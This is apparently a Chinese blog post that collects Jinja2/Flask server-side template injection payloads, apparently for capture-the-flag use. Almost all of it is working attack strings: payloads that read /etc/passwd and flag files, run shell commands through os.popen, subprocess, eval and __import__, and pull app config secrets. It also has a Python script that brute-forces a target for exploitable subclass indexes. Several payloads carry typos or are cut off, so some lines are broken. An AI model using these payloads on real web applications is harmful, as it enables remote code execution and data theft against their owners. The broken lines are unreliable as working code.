基于SSTI模块注入的常用payload总结

简介: 基于SSTI模块注入的常用payload总结

写在前面:


(1)下面payload中的__mro__[2]有时候需要换成__base__ (但是我遇到的还是前者多些),具体用哪个取决于题目环境的实际情况;


(2)payload中的xx代表我们所要利用的类或者函数所在位置,即我们通过脚本跑出来的类或者函数所在的位置;


(3)关于爆破的脚本请参考我前面的博客【http://t.csdn.cn/ygvBK】,这里主要是总结payload 。

一、查找函数位置,利用函数实现

1、利用file函数进行读取

{{''.__class__.__mro__[2].__subclasses__()[xx].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()}}

2、利用内嵌函数eval进行命令执行

{{''.__class__.__mro__[2].__subclasses__()[xx].__init__.__globals__['__builtins__']['eval']('__i

3、利用linecache函数进行命令执行

{{''.__class__.__mro__[2]__.__subclasses__()[xx].__init__.__globals__['linecache']['os'].popen('ls').read()}}

二、查找类的位置,利用类下的函数实现

1、利用_frozen_importlib_external.FileLoader类

(该类下的get_data函数进行读取)

{{''.__class__.__mro__[2].__subclasses__()[xx]["get_data"](0,"/etc/passwd")}}

2、利用importlib类进行命令执行

(该类下的load_module可以引用os)

{{''.__class__.__mro__[2]__.__subclasses__()[xx]['load_moudule']("os")["popen"]("ls").read()}}

3、利用subprocess.Popen类进行命令执行

{{''.__class__.__mro[2]__.__subclasses__()[xx]('ls',shell=True,stdout=-1).communicate()[0].strip()}}

三、利用os模块进行命令执行

即在其他函数中直接掉用os模块来执行os.popen()

1、利用config

{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}

2、利用url_for

{{url_for.__globals__['os'].popen('ls').read()}}
cycler               {{cycler.__init__.__globals__.os.popen('id').read()}}
joiner               {{joiner.__init__.__globals__.os.popen('id').read()}}
namespace            {{namespace.__init__.__globals__.os.popen('id').read()}}

3、利用子类的os模块

查找含有os模块的子类:

import requests
url = ""
for i in range(500):
    data = {
        "parms": "{{''.__class__.__mro__[2]__.__subclasses__()[{}].__init__.__globals__}}".format(str(i))
    }#传入的参数,根据事实情况更改参数的名称
    try:
        re = requests.get(url=url,params=data).text
        if 'os.py' in re:
            print(i,data["parms"])
    except:
        pass
{{''.__class__.__mro__[2]__.__subclasses__()[xx].__init__.__globals__['os'].popoen('ls').read()}}

四、关于其他的利用

1、利用lipsum执行命令

{{lipsum.__globals__['os']['popen']('ls').read()}}

2、读取配置文件中的FLAG

{{url_for.__globals__['current_app'].config.FLAG}}
{{get_flashed_messages.__globals__['current_app'].config.FLAG}}

3、利用warnings.catch_warnings 进行命令执行

[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').popen('whoami').read()

4、利用 _ _ import _ _ 进行命令执行

{}.__class__.__bases__[0].__subclasses__()[xx].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')
{}.__class__.__bases__[0].__subclasses__()[xx].__init__.__globals__['__builtins__']['__import__']('os').system('ls')
{}.__class__.__bases__[0].__subclasses__()[xx].__init__.__globals__.__builtins__.__import__('os').popen('id').read()

5、 利用任意字符串或特殊变量

{{sss.__init__.__globals__.__builtins__.open("/flag").read()}}
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
{{request.application.__globals__['__builtins__']['__import__']('os').popen('ls').read()}}

可以看到上面很多payload中都有popen函数,实质还是对popen函数的利用,因此我们在使用脚本爆破时一定要尝试popen函数。

目录
相关文章
|
8月前
|
数据安全/隐私保护 开发框架
flea-auth使用之用户子模块介绍
本篇 Huazie 介绍 Flea 框架下的 flea-auth 模块中的 用户子模块
88 1
flea-auth使用之用户子模块介绍
|
3月前
|
前端开发 Java Spring
【Spring】“请求“ 之后端传参重命名,传递数组、集合,@PathVariable,@RequestPart
【Spring】“请求“ 之后端传参重命名,传递数组、集合,@PathVariable,@RequestPart
46 2
|
3月前
|
XML 安全 网络协议
Xxe外部实体注入(XML External Entity Injection)
Xxe外部实体注入(XML External Entity Injection)
|
前端开发 Java 应用服务中间件
配置SpringMVC的前端控制器DispatcherServlet时,<url-pattern>中“/“和“/*“的区别
配置SpringMVC的前端控制器DispatcherServlet时,<url-pattern>中“/“和“/*“的区别
|
8月前
|
数据安全/隐私保护 开发框架
flea-auth使用之功能子模块介绍
本篇介绍笔者 Flea框架下的 flea-auth模块中的 功能子模块
72 1
flea-auth使用之功能子模块介绍
|
8月前
BurpSuite2021 -- Decode、Comparer、logger模块
BurpSuite2021 -- Decode、Comparer、logger模块
81 1
|
Python
关于SSTI模块注入的常见绕过方法
关于SSTI模块注入的常见绕过方法
267 0
|
前端开发 Java Spring
方法参数相关属性params、@PathVariable和@RequestParam用法与区别
方法参数相关属性params、@PathVariable和@RequestParam用法与区别
114 0
|
SQL XML Java
MyBatis——dao代理的使用、深入理解参数(传递一个参数、传递多个参数、使用entity实体类传递、使用自定义类传递、按位置传递、使用Map传递)
MyBatis——dao代理的使用、深入理解参数(传递一个参数、传递多个参数、使用entity实体类传递、使用自定义类传递、按位置传递、使用Map传递)
MyBatis——dao代理的使用、深入理解参数(传递一个参数、传递多个参数、使用entity实体类传递、使用自定义类传递、按位置传递、使用Map传递)
|
IDE 开发工具 Python
如何调用别的.air脚本中封装好的方法
如何调用别的.air脚本中封装好的方法
357 0

热门文章

最新文章

下一篇
开通oss服务